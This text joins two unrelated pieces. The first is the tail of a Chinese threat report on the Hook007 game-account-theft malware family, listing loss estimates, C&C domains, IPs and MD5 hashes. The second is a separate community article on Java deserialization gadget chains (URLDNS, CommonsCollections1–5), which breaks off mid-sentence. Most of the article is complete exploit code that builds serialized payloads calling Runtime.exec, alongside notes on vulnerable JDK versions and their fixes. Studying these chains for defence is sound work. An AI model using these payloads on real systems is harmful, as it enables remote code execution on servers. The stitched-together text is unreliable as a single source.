007组织核心成员涉案金额(单对Hook007生成器估算)
---
估算方法
|
单价:300元
生成器数量(三个月):120个
拥有生成器的人数:1个生成器对应10个人
结论
|
一年估算:300*120*10*4=144万元
受害用户损失金额(单对受Hook007家族影响的估算)
---
估算方法
|
近一年受影响用户约:50万左右
真正被窃取装备的用户估算为受影响的1/100:5000
根据专业反诈骗平台猎网平台的统计数字显示,因游戏帐号被盗而导致的用户损失人均为:2338元
结论
|
一年估算:5000*2338=1169万元
3 C&C
涉及到的部分域名和IP:
0710yx.aliapp.com
0710yx.asia
0710yx.xmwwy.com
0710yx.yksyx.org
07l0.gamr89.com
07l0yx.co
106.111.140.16
106.226.228.105
106.80.54.138
106.80.56.59
111.195.244.20
14.119.236.212
14.119.237.103
14.119.239.174
14.119.241.1
654004572.ys168.com
983830035.ys168.com
a594250576.ys168.com
a6601251.ys168.com
bobo.haoyue1688.com
ccl0579.com
cng.minsun.cc
dioeopp.org
ewq889966.ys168.com
t.qq.com/a_739377521
t.qq.com/a1005561469
t.qq.com/a1156573029
t.qq.com/a125245585
t.qq.com/a12d132
t.qq.com/a136410138
---
4 MD5值
部分恶意代码的MD5值:
5d8d0fd05af1264abb1d22cdb0406f83
f4f56532dea762d1be186bbe0f9e616e
12e71fc967f54fe989d500d38925eceb
4df813d38430d5ca988cb8d42cdf8e0b
7a005b7b22abc69b247e1c031688fe7e
f9ccb246b6b86c7f0d92c86c4560a17a
bfcc17fb2d5662b0b08727eb1ac243c0
1e657ebc26731ee8655eeeeed179bb62
efca9a583e86aa4ca2da424498799583
09b78b16f5c54093cc658c21fb028802
e30cd3b3d3bd4702d179858d0a0143fb
4991f063a1119a682ac82964303fd8cd
6132d5867eef96b69f67ee25a46b70da
8da89564a0259b29d7f9455443427e6f
8e21131ce2b38e1b000fc7ff980e40c2
17643d8a6e5982bce1e5647450f8365e
7ee1e4a7e61d5df97c52563d7a2838e7
ded24dc5158a3bd57546e02af0419317
70fa304c459d280d5b506d54362762a2
8c5d4c868b61d0e1d26fc5bc31369181
8e46b65ff218bc4e7d116c3bf5fddc61
3b3fd6e9ebd9e47bb221693f5aa3a770
557d573cccf1e71d43ce9f49b3bc116c
42cfc7c9bcb595e5eb3a857974605cd0
73be41e111bb5598ec14b13e6472099f
041536acfd00fe9f10b51c3fefdb9798
31e8889d79aad982323faef454e59f6e
71b7b652330c94cb7c9d42197b04a600
448e84bbdb9721d80b65c27a0278644c
353264b562660a940d5d761bfa2e1ced
--- | 社区文章 |
之前都是 ysoserial 一把梭, 还是得学习 + 复现一下内部实现机制的. 主要是对常见的 URLDNS 和
CommonsCollections1-7 这些利用链进行了分析, 相信看完理解其他利用链也不在话下.
## URLDNS
最简单的一个, 这个成因就是 `java.util.HashMap` 重写了 `readObject`, 在反序列化时会调用 `hash` 函数计算 key
的 hashCode.
而 `java.net.URL` 的 hashCode 在计算时会调用 `getHostAddress` 来解析域名, 从而发出 DNS 请求.
可以理解为, 在序列化 HashMap 类的对象时, 为了减小序列化后的大小, 并没有将整个哈希表保存进去, 而是仅仅保存了所有内部存储的 key 和
value. 所以在反序列化时, 需要重新计算所有 key 的 hash, 然后与 value 一起放入哈希表中. 而恰好, URL 这个对象计算 hash
的过程中用了 getHostAddress 查询了 URL 的主机地址, 自然需要发出 DNS 请求.
整条调用链如下:
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
URLDNS.java
package demo.rmb122;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap<URL, String> hashMap = new HashMap<URL, String>();
URL url = new URL("http://xxxx.xxx.xxx");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, 0xdeadbeef); // 设一个值, 这样 put 的时候就不会去查询 DNS
hashMap.put(url, "rmb122");
f.set(url, -1); // hashCode 这个属性不是 transient 的, 所以放进去后设回 -1, 这样在反序列化时就会重新计算 hashCode
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap);
}
}
Test.java
package demo.rmb122;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
public class Test {
public static void main(String[] args) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();
}
}
## CommonsCollections1
这个利用链比较复杂, 借 ysoserial 自带的调用栈先看看吧,
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
首先是版本受限, 先看 ysoserial 自带的版本检测 (单元测试的时候用的),
public static boolean isAnnInvHUniversalMethodImpl() {
JavaVersion v = JavaVersion.getLocalVersion();
return v != null && (v.major < 8 || (v.major == 8 && v.update <= 71));
}
亲测 u71 实际已经修复了 `sun.reflect.annotation.AnnotationInvocationHandler` 中的漏洞,
所以实际上 ysoseiral 检测的是有问题的...
应该是 `v.update < 71` 才对. 在
`https://www.oracle.com/technetwork/java/javase/downloads/java-archive-javase8-2177648.html` 可以下到老版 jdk.
以下代码均以小于 u71 的能下到的最新版本 u66 为例子.
这个链相对比较复杂, 所以倒着来, 从 `LazyMap.get()` 开始.
org.apache.commons.collections.map.LazyMap
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
在 get 这个 map 时, 如果内部的 map 不存在这个 key, 将会调用 `this.factory.transform(key)`,
将结果作为返回值. 再来看属性定义
protected final Transformer factory;
而 Transformer 是一个基类, ChainedTransformer, ConstantTransformer,
InvokerTransformer 均继承于此父类. 接下来看如果通过 `this.factory.transform(key)` 达到 RCE 的效果.
org.apache.commons.collections.functors.ChainedTransformer
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
ChainedTransformer 的作用是将内部的 iTransformers 按顺序都调用一遍.
org.apache.commons.collections.functors.ConstantTransformer
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
ConstantTransformer 的作用是不管输入, 直接返回一个常量.
最后是重点 org.apache.commons.collections.functors.InvokerTransformer
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
这个的作用是调用输入对象的一个方法, 并且参数可控, 这就非常牛逼了, 将这些结合起来, 如下
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(java.lang.Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/touch", "/dev/shm/rmb122_pwned"}}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
这时调用 `chainedTransformer.transform`, 等价于
`java.lang.Runtime.getRuntime().exec(new String[]{"/bin/touch",
"/dev/shm/rmb122_pwned"})`,
将 chainedTransformer 作为 `Lazymap` 的 `factory`, 再 get 一个不存在的 key, 就能达到 RCE 的目的.
问题就是现在缺少一个在 readObject 时 get 的对象, 而且最好是 jre 内置的. 这里就可以看到作者的牛逼之处,
毕竟这些类可不是随便找找就能找到的.
这里看 `sun.reflect.annotation.AnnotationInvocationHandler` 这个类的 `invoke` 方法,
// class AnnotationInvocationHandler implements InvocationHandler, Serializable {
AnnotationInvocationHandler(Class<? extends Annotation> paramClass, Map<String, Object> paramMap) {
Class[] arrayOfClass = paramClass.getInterfaces();
if (!paramClass.isAnnotation() || arrayOfClass.length != 1 || arrayOfClass[false] != Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = paramClass;
this.memberValues = paramMap;
}
public Object invoke(Object paramObject, Method paramMethod, Object[] paramArrayOfObject) {
String str = paramMethod.getName();
Class[] arrayOfClass = paramMethod.getParameterTypes();
if (str.equals("equals") && arrayOfClass.length == 1 && arrayOfClass[false] == Object.class)
return equalsImpl(paramArrayOfObject[0]);
if (arrayOfClass.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
switch (str) {
case "toString":
return toStringImpl();
case "hashCode":
return Integer.valueOf(hashCodeImpl());
case "annotationType":
return this.type;
}
Object object = this.memberValues.get(str); // <--- 这里调用了 get, 而且 memberValues 也是 Map 类型, 可以把 LazyMap 放在这里
if (object == null)
throw new IncompleteAnnotationException(this.type, str);
if (object instanceof ExceptionProxy)
throw ((ExceptionProxy)object).generateException();
if (object.getClass().isArray() && Array.getLength(object) != 0)
object = cloneArray(object);
return object;
}
再来看这个类的 `readObject`
private void readObject(ObjectInputStream paramObjectInputStream) throws IOException, ClassNotFoundException {
paramObjectInputStream.defaultReadObject();
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException illegalArgumentException) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map map = annotationType.memberTypes();
for (Map.Entry entry : this.memberValues.entrySet()) {
String str = (String)entry.getKey();
Class clazz = (Class)map.get(str);
if (clazz != null) {
Object object = entry.getValue();
if (!clazz.isInstance(object) && !(object instanceof ExceptionProxy))
entry.setValue((new AnnotationTypeMismatchExceptionProxy(object.getClass() + "[" + object + "]")).setMember((Method)annotationType.members().get(str)));
}
}
}
关键点在 `this.memberValues.entrySet()`, 那么问题来了, 这里又跟 invoke 有什么关系呢.
这里涉及到 java 的动态代理机制, 这里不再赘述, 可以理解为调用这个方法实际上调用的是代理的 invoke, 在上面可以看到
AnnotationInvocationHandler 本身继承了 InvocationHandler 且重写了 invoke 方法. 刚好可以拿来利用,
接下来问题就很简单了, exp 如下
package demo.rmb122;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(java.lang.Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/touch", "/dev/shm/rmb122_pwned_1"}}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Constructor constructor = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredConstructor(Map.class, Transformer.class);
constructor.setAccessible(true);
HashMap hashMap = new HashMap<String, String>();
Object lazyMap = constructor.newInstance(hashMap, chainedTransformer);
constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
// 因为构造方法不是 public, 只能通过反射构造出来
constructor.setAccessible(true);
InvocationHandler invo = (InvocationHandler) constructor.newInstance(Deprecated.class, lazyMap);
Object proxy = Proxy.newProxyInstance(invo.getClass().getClassLoader(), new Class[]{Map.class}, invo);
constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Deprecated.class, proxy);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(obj);
}
}
接下来问题是 java 是如何修复的呢? 一开始不知道已经修复, 复现出来导致还以为自己写错了 233
看到
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
才发现有可能是 java 内部类动过的原因.
拿最新版的 `readObject` 与上面 u66 版本的对比一下
private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
GetField fields = s.readFields();
Class<? extends Annotation> t = (Class)fields.get("type", (Object)null);
Map<String, Object> streamVals = (Map)fields.get("memberValues", (Object)null);
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(t);
} catch (IllegalArgumentException var13) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
Map<String, Object> mv = new LinkedHashMap();
String name;
Object value;
for(Iterator var8 = streamVals.entrySet().iterator(); var8.hasNext(); mv.put(name, value)) {
Entry<String, Object> memberValue = (Entry)var8.next();
name = (String)memberValue.getKey();
value = null;
Class<?> memberType = (Class)memberTypes.get(name);
if (memberType != null) {
value = memberValue.getValue();
if (!memberType.isInstance(value) && !(value instanceof ExceptionProxy)) {
value = (new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]")).setMember((Method)annotationType.members().get(name));
}
}
}
AnnotationInvocationHandler.UnsafeAccessor.setType(this, t);
AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, mv);
}
可以看到很明显的两处变化是
AnnotationInvocationHandler.UnsafeAccessor.setType(this, t);
AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, mv);
其将反序列化后的 memberValues 设为了 mv, 而 mv 是
Map<String, Object> mv = new LinkedHashMap();
不是我们设置的 LazyMap, 这自然导致了在外层 AnnotationInvocationHandler 调用 proxy 时, 内层的
AnnotationInvocationHandler 的 memberValues 是 被重新设置的 LinkedHashMap, 而不是我们构造的
LazyMap, 自然就无法利用了.
看看 java 对 AnnotationInvocationHandler 的修复
ysoseiral 这个 exp 在 2015 年初被发布
查看 git 的 history, 可以看到在 2015 年 12 月被修复
java8u71 2016 年初发布
再看 commons-collections3 的修复:
在 readObject, writeObject 时都做了检测, 需要设置对应的 Property 为 true 才能反序列化
InvokerTransformer.
看这个漏洞的历史, 也是非常有趣的.
## CommonsCollections2
还是先看调用栈
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
这个 gadget 比较特殊的是用了
`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl` 这个内置类, 这个类的骚操作就是,
在调用他的 `newTransformer` 或者 `getOutputProperties` (这个方法内部会调用 `newTransformer`)
时, 会动态从字节码中重建一个类. 这就使得如果我们能操作字节码, 就能在创建类时执任意 java 代码.
public synchronized Transformer newTransformer() throws TransformerConfigurationException {
TransformerImpl transformer = new TransformerImpl(this.getTransletInstance(), this._outputProperties, this._indentNumber, this._tfactory);
if (this._uriResolver != null) {
transformer.setURIResolver(this._uriResolver);
}
if (this._tfactory.getFeature("http://javax.xml.XMLConstants/feature/secure-processing")) {
transformer.setSecureProcessing(true);
}
return transformer;
}
private Translet getTransletInstance() throws TransformerConfigurationException {
try {
if (this._name == null) {
return null;
} else {
if (this._class == null) {
this.defineTransletClasses(); // 这个方法里面调用了 ClassLoader 加载 bytecode
}
//... 省略
同时在这个 gadget 中, 没有使用之前的 LazyMap, 而是使用的是 PriorityQueue + TransformingComparator
这套组合拳.
不过这个 exp 只对 CommonsCollections4 有效, 在 3 中 TransformingComparator 没有 implements
Serializable, 导致无法序列化.
java.util.PriorityQueue
private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
s.defaultReadObject();
s.readInt();
SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Object[].class, this.size);
Object[] es = this.queue = new Object[Math.max(this.size, 1)];
int i = 0;
for(int n = this.size; i < n; ++i) {
es[i] = s.readObject();
}
this.heapify();
}
PriorityQueue readObject 时, 在读取完对象后, 会调用 heapify 来进行排序, 而排序方法是可以自定义的 (利用
Comparator 接口), 配合上 TransformingComparator.
org.apache.commons.collections4.comparators.TransformingComparator (实现了
Comparator 接口)
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
在排序时会先 transform 一下, 再结合喜闻乐见的 InvokeTransfer, 导致 RCE.
最后 exp 如下:
package demo.rmb122;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonsCollections2 {
public static class Placeholder {
}
public static void main(String[] args) throws Exception {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(Placeholder.class));
classPool.insertClassPath(new ClassClassPath(Class.forName(AbstractTranslet)));
CtClass placeholder = classPool.get(Placeholder.class.getName());
placeholder.setSuperclass(classPool.get(Class.forName(AbstractTranslet).getName()));
placeholder.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"touch /dev/shm/rmb122_test1\");"); // 这里 insertBefore 还是 After 都一样
placeholder.setName("demo.rmb122." + System.currentTimeMillis());
byte[] bytecode = placeholder.toBytecode();
Object templates = Class.forName(TemplatesImpl).getConstructor(new Class[]{}).newInstance();
Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes");
fieldByteCodes.setAccessible(true);
fieldByteCodes.set(templates, new byte[][]{bytecode});
Field fieldName = templates.getClass().getDeclaredField("_name");
fieldName.setAccessible(true);
fieldName.set(templates, "rmb122");
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator comparator = new TransformingComparator(invokerTransformer);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field field = PriorityQueue.class.getDeclaredField("queue");
field.setAccessible(true);
Object[] innerArr = (Object[]) field.get(queue);
innerArr[0] = templates;
innerArr[1] = templates;
field = PriorityQueue.class.getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, comparator);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(queue);
oos.close();
}
}
生成字节码用的是 ysoseiral 一样的 javassist, 可以在正常的字节码前后插入恶意 payload.
另外这里因为是运行的字节码, 所以其实变通方法很多, 如果只是想读写文件但有 RASP ban 掉了 Runtime.exec, 其实可以通过 File
来读写文件.
4 的修复方法比较粗暴, 直接干掉了 InvokerTransformer 的 Serializable 继承.
## CommonsCollections3
这个与上面的 CommonsCollections1 接近, 区别是将一串的 InvokerTransformer 换成了
InstantiateTransformer, 利用刚刚在 CommonsCollections2 介绍的
`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl` 导致 RCE. 本质是换汤不换药.
InstantiateTransformer 做的工作是
public Object transform(Object input) {
try {
if (!(input instanceof Class)) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
} else {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
}
就是将类实例化, 也就是调用 input 的构造函数, 这里 InstantiateTransformer 能替换 InvokerTransformer
的原因是内置类 `com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter` 在构造时,
public TrAXFilter(Templates templates) throws TransformerConfigurationException {
this._templates = templates;
this._transformer = (TransformerImpl)templates.newTransformer();
this._transformerHandler = new TransformerHandlerImpl(this._transformer);
this._overrideDefaultParser = this._transformer.overrideDefaultParser();
}
会调用 templates 的 newTransformer 方法, 其实这里 InstantiateTransformer 起到的作用是和
InvokerTransformer 一样的.
exp 如下
package demo.rmb122;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections3 {
public static class Placeholder implements Serializable {
}
public static void main(String[] args) throws Exception {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String TrAXFilter = "com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter";
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(CommonsCollections3.Placeholder.class));
classPool.insertClassPath(new ClassClassPath(Class.forName(AbstractTranslet)));
CtClass placeholder = classPool.get(CommonsCollections3.Placeholder.class.getName());
placeholder.setSuperclass(classPool.get(Class.forName(AbstractTranslet).getName()));
placeholder.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"touch /dev/shm/rmb122_test1\");");
placeholder.setName("demo.rmb122." + System.currentTimeMillis());
byte[] bytecode = placeholder.toBytecode();
Object templates = Class.forName(TemplatesImpl).getConstructor(new Class[]{}).newInstance();
Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes");
fieldByteCodes.setAccessible(true);
fieldByteCodes.set(templates, new byte[][]{bytecode});
Field fieldName = templates.getClass().getDeclaredField("_name");
fieldName.setAccessible(true);
fieldName.set(templates, "rmb122");
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.forName(TrAXFilter)),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Constructor constructor = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredConstructor(Map.class, Transformer.class);
constructor.setAccessible(true);
HashMap hashMap = new HashMap<String, String>();
Object lazyMap = constructor.newInstance(hashMap, chainedTransformer);
constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invo = (InvocationHandler) constructor.newInstance(Deprecated.class, lazyMap);
Object proxy = Proxy.newProxyInstance(invo.getClass().getClassLoader(), new Class[]{Map.class}, invo);
constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Deprecated.class, proxy);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(obj);
oos.close();
}
}
## CommonsCollections4
这个与上面的 CommonsCollections2 接近, 区别是将 InvokerTransformer 替换为
InstantiateTransformer, 换汤不换药 + 1, 不再多做解释
package demo.rmb122;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import javax.xml.transform.Templates;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonsCollections4 {
public static class Placeholder {
}
public static void main(String[] args) throws Exception {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String TrAXFilter = "com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter";
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(Placeholder.class));
classPool.insertClassPath(new ClassClassPath(Class.forName(AbstractTranslet)));
CtClass placeholder = classPool.get(Placeholder.class.getName());
placeholder.setSuperclass(classPool.get(Class.forName(AbstractTranslet).getName()));
placeholder.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"touch /dev/shm/rmb122_test1\");");
placeholder.setName("demo.rmb122." + System.currentTimeMillis());
byte[] bytecode = placeholder.toBytecode();
Object templates = Class.forName(TemplatesImpl).getConstructor(new Class[]{}).newInstance();
Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes");
fieldByteCodes.setAccessible(true);
fieldByteCodes.set(templates, new byte[][]{bytecode});
Field fieldName = templates.getClass().getDeclaredField("_name");
fieldName.setAccessible(true);
fieldName.set(templates, "rmb122");
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.forName(TrAXFilter)),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator comparator = new TransformingComparator(chainedTransformer);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field field = PriorityQueue.class.getDeclaredField("queue");
field.setAccessible(true);
Object[] innerArr = (Object[]) field.get(queue);
innerArr[0] = templates;
innerArr[1] = templates;
field = PriorityQueue.class.getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, comparator);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(queue);
oos.close();
}
}
## CommonsCollections5
这个不是换汤不换药了, 用了一个新的利用链去触发 InvokerTransformer, 不过 ysoserial 上注释里面的调用链是错误的,
估计是忘记改了. 正确的如下:
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
从注释里面还可以得到, 这个 chain 只能用于 >= 8u76, 且 SecurityManager 未设置的情况下使用.
原因是在 8u76 的更新里面, 添加了 `javax.management.BadAttributeValueExpException` 的
readObject 方法
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
可以看到, 在 `System.getSecurityManager() == null` 的情况下, 将会不管 valObj 的类型, 调用
toString 方法, 这里需要配合 `org.apache.commons.collections.keyvalue.TiedMapEntry`
来使用, 其重写的 toString 方法
public Object getValue() {
return this.map.get(this.key);
}
public String toString() {
return this.getKey() + "=" + this.getValue();
}
看到熟悉的 map.get 了么, 这里就又回到了 LazyMap 的那一套, 接下来也不用多说了, exp 如下:
package demo.rmb122;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections5 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(java.lang.Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/touch", "/dev/shm/asdasd_1"}}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap<String, String>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "placeholder");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("placeholder");
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, tiedMapEntry);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(badAttributeValueExpException);
oos.close();
}
}
另外, 这一条链, 其实 3, 4 都能使用, 不过 ysoseiral 只在 exp 里面写了 3 的, 实际上只要将 import 的
xxx.collections.xxx 全改成 xxx.collections4.xxx, 然后将 `LazyMap.decorate` 改为
